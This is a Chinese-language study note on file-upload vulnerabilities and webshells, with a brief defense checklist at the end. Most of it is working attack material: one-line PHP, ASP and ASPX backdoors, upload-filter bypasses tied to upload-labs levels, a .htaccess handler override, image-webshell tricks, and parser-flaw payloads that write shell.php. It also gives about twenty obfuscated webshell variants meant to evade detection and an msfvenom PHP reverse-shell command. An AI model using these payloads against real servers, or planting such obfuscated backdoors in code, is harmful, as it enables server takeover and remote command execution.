'文件上传总结'

1. WebShell

1.1 什么是Shell

Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。因为系统内核使我们不能直接操作的,shell就给我们提供了一个接口,通过shell我们可以把命令送入到内核。shell管理用户与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。
传统意义上的shell指的是命令行式的shell,以后如果不特别注明,shell是指命令行式的shell。
表示用户拥有的权限,不同的shell权限不同

1.2 WebShell

黑客在入侵了一个网站后,通常会留下一个asp或php后门文件与网站web服务器进行交互,得到一个命令执行环境,以达到控制网站服务器的目的。这个后门文件就是所谓的webshell。

2. 木马分类

2.1 一句话木马

一句话木马是Webshell的一种,由于这类Webshell代码比较少,往往只有一行代码,所以就被称为一句话木马。
一句话木马虽然代码简单,但是结合中国菜刀、蚁剑等WebShell管理工具,它们的功能却是非常的强大。

2.1.1 一句话木马工作原理

在PHP、ASP、ASPX中都有可以执行外部程序的函数,一句话木马就是通过这些函数来工作的,由页面传输待执行的命令,函数在远程执行命令。

PHP一句话木马

1
<?php eval($_POST['cmd']);?>

ASP一句话木马

1
<% eval request('cmd')%>

ASPX一句话木马

1
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"])%>

2.1.2 特点

代码量少,体积小,不易被发现,配合WebShell管理工具功能强大。

2.2 小马

2.2.1 特点

代码量较少,体积较小,基本功能(文件管理、命令执行、数据库管理)都有

2.3 大马

2.2.1 特点

代码量多,体积大,易被发现,功能多

3. 修改Apache权限

WebShell的权限和Apache权限有关,可以通过限制Apache权限降低WebShell的权限。

3.1 Windows

为Apache添加用户

1
net user Apache password /add

打开服务管理

找到Apache-属性-登录-此账户

登录Apache用户

3.2 Linux

不使用源码安装Apache就是最低权限

4. 文件上传

4.1 文件上传原理

在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

4.1.1 文件上传漏洞高危触发点

相册、头像上传
视频、照片分享
附件上传
文件管理器

4.2 文件上传检测

4.2.1 JavaScript检测

检测文件后缀名
绕过方式:
1.关闭JS解析
2.在白名单中加上要上传的文件类型
3.破坏JS
4.拦截数据包修改文件名

upload-labs第1关

4.2.2 MIME检测

检测content-type
绕过方式:
抓包修改content-type image/png image/jpeg image/bmp

4.2.3 扩展名检测

4.2.3.1 使用黑名单检测:

{php|php3|php4|asp|html|jsp}

4.2.3.2 绕过方式:

4.2.3.2.1 找一种不在黑名单中的,可以被正常解析的文件后缀名
4.2.3.2.2 后缀名大小写
4.2.3.2.3 利用windows特性绕过检测:
4.2.3.2.3.1 Windows+PHP 叠加特性(upload-labs第4关)
1
2
3
4
5
" = .

\> = ?

\< = *

第一步操作可以向服务器中写一个0字节的文件

1
test.php:.jpg

第二步上传时,修改文件名为test.>>>或test.<

4.2.3.2.3.2 Windows文件名特性(upload-labs第6,7,9关)

点或者空格结尾的文件再保存的时候,点和空格会被删除
shell.php.(空格)或shell.php (空格)

4.2.3.2.3.3 Windows文件流(NTFS)特性(upload-labs第8关)

4.2.3.2.4 使用00截断 (PHP版本)

php版本要小于5.3.4,5.3.4及以上已经修复该问题;
magic_quotes_gpc需要为OFF状态,在PHP.ini中修改

4.2.3.2.4.1 path通过GET方式传输(upload-lab第11关)

抓包
修改URL,在末尾加上可以解析的扩展名和%00进行截断

4.2.3.2.4.2 path通过POST方式传输(upload-lab第12关)

抓包-在保存路径后添加可以解析的扩展名并使用%00进行截断,要将%00选中Ctrl+Shift+U转为十六进制。

4.2.3.2.5 通过修改解析规则绕过黑名单检测

创建.htaccess文件

1
2
3
<FilesMatch "test.io">
SetHandler application/x-httpd-php
</FilesMatch>

上传.htaccess文件,再上传test.io,test.io被解析为php

4.2.4 文件内容检测(文件头或魔术头)(upload-labs第13关)

格式 文件头
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
Windows Bitmap (bmp) 42 4D
TIFF (tif) 49 49 2A 00
CAD (dwg) 41 43 31 30
Adobe Photoshop (psd) 38425053
Rich Text Format (rtf) 7B5C727466
MS Word/Excel (xls.or.doc) D0CF11E0
MS Access (mdb) 5374616E64617264204A
ZIP Archive (zip) 504B0304
RAR Archive (rar) 52617221
Wave (wav) 57415645
AVI (avi) 41564920
Real Media (rm) 2E524D46
MPEG (mpg) 000001BA
MPEG (mpg) 000001B3
Quicktime (mov) 6D6F6F76
Adobe Acrobat (pdf) 255044462D312E
Windows Media (asf) 3026B2758E66CF11
MIDI (mid) 4D546864

生成图片木马

1
copy test.jpg/b+test.php/a shell.jpg

使用edjpgcom.exe

将图片拖拽到.exe上

需要和其他漏洞(解析漏洞、文件包含)结合使用

4.2.5 文件渲染检测

调用API 或函数去进行文件加载测试常见的是图像渲染测试,再变态点的甚至是进行二次渲染(后面会提到) 对文件加载检测的攻击一般就两种方式,一个是渲染测试绕过,另一个是攻击文件加载器自身。

4.2.5.1 渲染测试绕过

先用 GIMP 对一张图片进行代码注入 用 winhex 看数据可以分析出这类工具的原理是 在不破坏文件本身的渲染情况下找一个空白区进行填充代码 一般是图片的注释区

upload-labs第16关

4.2.5.2 攻击文件加载器

二次渲染基本上没法绕过,只能对文件加载器进行攻击
二次渲染相当于是把原本属于图像数据的部分选取出来,再用API 或函数进行重新渲染,在这个过程中非图像数据的部分直接就隔离开了

对文件加载器进行攻击,常见的就是溢出攻击,上传恶意文件后,服务上的文件加载器进行加载测试时,被触发攻击执行shellcode比如 access/mdb 溢出(Microsoft Jet Engine MDB File溢出的漏洞,该漏洞是由于access在加载mdb文件时,处理不当,产生的shellcode执行,参考链接:https://blog.csdn.net/kendyhj9999/article/details/18738435)

Magic image

4.2.6 条件竞争

线程编程中,为了保证数据操作的一致性,操作系统引入了锁机制,用于保证临界区代码的安全。通过锁机制,能够保证在多核多线程环境中,在某一个时间点上,只能有一个线程进入临界区代码,从而保证临界区中操作数据的一致性。

临界区指的是一个访问共用资源(例如:共用设备或是共用存储器)的程序片段,而这些共用资源又无法同时被多个线程访问的特性。

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

upload-labs第17关

4.2.7 写提交按钮

有些上传页面没有提交按钮,可以用HTML编辑From表单,添加提交按钮

5. 解析漏洞

5.1 IIS

5.1.1 版本:5.x-6.x

目录解析漏洞:以asp/asa等结尾的目录,其目录下的文件均可被解析

文件名解析漏洞:以.asp/asa;*.png或;*.jpg结尾的文件均可被解析

IIS应用层漏洞:以asa、cer、cdx结尾的文件均可被解析

5.1.2 版本:7.5(配置不当引起)

在当前文件中,有IIS能够解析的扩展名(asp/aspx),这个文件可被解析

a.aspx.a

a.aspx.jpg.jpg…jpg

5.1.3 版本:IIS 7.0/IIS 7.5

在默认Fast-CGI开启状况下,上传一个名字为wooyun.jpg,内容为

1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

x.asp%00.jpg

5.1.4 IIS PUT写入漏洞

服务器配置不当造成,因为开启Webdav,使应用程序可直接对Web Server进行读写,同时IIS中又配置目录可写,便产生很严重的问题。

5.2 Apache

5.2.1 文件名移位解析

原理:Apache在解析文件过程中,从右向左开始判断后缀名,遇到不认识的后缀名,会向左移动一位再做判断

test.php.php123.cdd

先解析.cdd不认识,再解析.php123,再解析php

服务器本身的漏洞

5.2.2 文件名中包含PHP就会解析(配置不当)

再配置文件中添加一行配置:

1
AddHander php5-script .php

test2.php.jpg

5.2.3 添加扩展名(配置不当)

1
AddType application/x-httpd-php .jpg

即使是.jpg文件也能被解析

5.3 Nginx

5.3.1 版本<8.0.3 畸形解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为wooyun.jpg,内容为

1
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php

5.3.2 版本<8.0.3 空字节代码执行漏洞

上传文件是图片木马,在访问时,URL中图片后缀名后面加上%00.php可以正常解析

xxx.jpg%00.php

5.3.3 fix_pathinfo(配置不当)

在配置文件中设置fix_pathinfo这个参数(开启,并设置相应的值),服务器中就会出现各种解析漏洞(CGI解析漏洞)

1
2
3
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/%20\1.php

6. Getshell条件

6.1 木马可上传

可直接解析的后缀名、图片木马

6.2 木马可解析

后缀名可直接解析,知道文件的路径

图片木马 结合其他漏洞(解析漏洞或文件包含),知道文件路径

6.3 木马可访问

文件路径获取方法:

上传正常图片,并且显示该图片,直接看图片路径
扫目录
信息泄露--列目录

7.一句话木马变形

7.1 使用字符串隐藏assert、eval等函数

1
$a =str_replace("x","",”axsxxsxexrxxt”);$a($_POST[“code”]);

用字符串隐藏assert方法,并且利用它加上动态传入参数的方式构造后门。

7.2 将函数和执行命令都作为请求参数

1
2
3
$_GET[‘a’]($_GET[‘b’]);
?a=assert&b=phpinfo();
完全利用动态参数传入的方式构造后门,将敏感函数和执行的命令动态传入,效果如变形二。

7.3 preg_replace函数

1
2
($code = $_POST[‘code’]) && 
@preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).'($code)’, ‘add’);

7.4 自定义函数

1
2
3
4
$fun=creat_function('',$_POST['a']);
$fun();

a=phpinfo();

7.5 回调函数 call_user_func()

1
@call_user_func(assert,$_POST['a']);

7.6 file_put_contents函数

1
2
3
4
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell.php", $test);
?>

7.7 PHP变量函数

1
2
3
4
<?php 
$a = "eval";
$a(@$_POST['a']);
?>

7.8 PHP可变变量

1
2
3
4
5
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>

7.9 str_replace函数

1
2
3
4
<?php
$a=str_replace("Waldo", "", "aWaldossert");
$a(@$_POST['a']);
?>

7.10 base64_decode函数

1
2
3
4
5
base64_decode函数
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

7.11 .操作符

1
2
3
4
5
6
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

7.12 parse_str函数,将查询字符串解析到变量中

1
2
3
4
5
6
<?php
$str="a=eval";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>

7.13 array_filter函数,用回调函数过滤数组中的元素

1
2
3
$e=$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

eval不能回调,assert可以

使用菜刀连接

\e=assert\

7.14 array_map函数

将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组:

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);

7.15 uasort函数

使用自定义的比较函数对数组$arr中的元素按键值进行排序

1
2
3
$e=$_REQUEST['e'];
$arr=array('test',$_REQUEST['pass']);
uasort($arr,$e);

PHP版本>5.4

7.16 加密类变形

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));




eval($_POST["cmd"])




http://www.target.com/shell.php cmd
content=JF9QT1NUWyJjbWQiXQ==
com=123

7.17 变量拼接类变形

1
2
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

7.18 加密拼接

1
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
//解码后即==> eval($_POST[x]);
?>

7.19 MSF生成网页木马

1.生成木马

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.126.126 lport=12600 -f raw >./shell.php
1
2
3
4
5
set payload php/meterpreter/reverse_tcp
show options
set lhost
set lport
exploit -j

7.20 Weevely生成网页木马

1
python weevely.py generate password path

终端

1
python weevely.py url password

8. 文件上传防御

1.使用白名单限制上传类型
黑名单可以使用各种方法进行绕过

2.使用最新版本的IIS、Apache、Nginx

3.对上传文件名进行改写

4.检查HTTP Header中的Content-Type、检查文件上传路径

5.分析文件头和文件尾

6.对图片进行渲染,最好二次渲染,并对API和函数进行加固,防止溢出

7.设置文件夹权限
根据需求将文件上传的目录设置为不可执行

8.尽可能让上传的文件的路径不可知,将路径保存到数据库中,在需要的时候再进行读取

9.限制上传文件的大小

10.单独设置文件服务器的域名

9. 参考

[1] Web条件竞争

[2] 解析漏洞整理

[3] 文件上传漏洞是什么?要怎样防御文件上传的漏洞攻击?